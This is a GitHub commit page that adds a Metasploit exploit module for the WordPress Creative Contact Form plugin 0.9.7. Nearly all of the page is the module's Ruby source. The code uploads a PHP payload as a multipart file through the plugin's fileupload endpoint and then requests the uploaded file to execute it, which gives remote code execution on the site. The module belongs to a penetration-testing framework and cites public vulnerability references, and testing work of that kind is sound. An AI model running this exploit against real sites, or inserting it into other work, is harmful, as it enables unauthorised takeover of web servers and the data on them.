Skip to content

Commit d9f4c75

Browse files
committed
Land rapid7#5136, WordPress Creative Contact Form upload
2 parents 7dde7f6 + e16cc6f commit d9f4c75

File tree

1 file changed

+76
-0
lines changed

1 file changed

+76
-0
lines changed
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Wordpress Creative Contact Form Upload Vulnerability',
17+
'Description' => %q{
18+
This module exploits an arbitrary PHP code upload in the WordPress Creative Contact
19+
Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution.
20+
},
21+
'Author' =>
22+
[
23+
'Gianni Angelozzi', # Vulnerability discovery
24+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['EDB', '35057'],
30+
['OSVDB', '113669'],
31+
['WPVDB', '7652']
32+
],
33+
'Privileged' => false,
34+
'Platform' => 'php',
35+
'Arch' => ARCH_PHP,
36+
'Targets' => [['Creative Contact Form 0.9.7', {}]],
37+
'DisclosureDate' => 'Oct 22 2014',
38+
'DefaultTarget' => 0)
39+
)
40+
end
41+
42+
def check
43+
check_plugin_version_from_readme('sexy-contact-form', '1.0.0')
44+
end
45+
46+
def exploit
47+
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
48+
49+
data = Rex::MIME::Message.new
50+
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
51+
post_data = data.to_s
52+
53+
res = send_request_cgi({
54+
'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'index.php'),
55+
'method' => 'POST',
56+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
57+
'data' => post_data
58+
})
59+
60+
if res
61+
if res.code == 200 && res.body =~ /files|#{php_pagename}/
62+
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
63+
register_files_for_cleanup(php_pagename)
64+
else
65+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
66+
end
67+
else
68+
fail_with('ERROR')
69+
end
70+
71+
print_status("#{peer} - Calling payload...")
72+
send_request_cgi(
73+
'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'files', php_pagename)
74+
)
75+
end
76+
end

0 commit comments

Comments
 (0)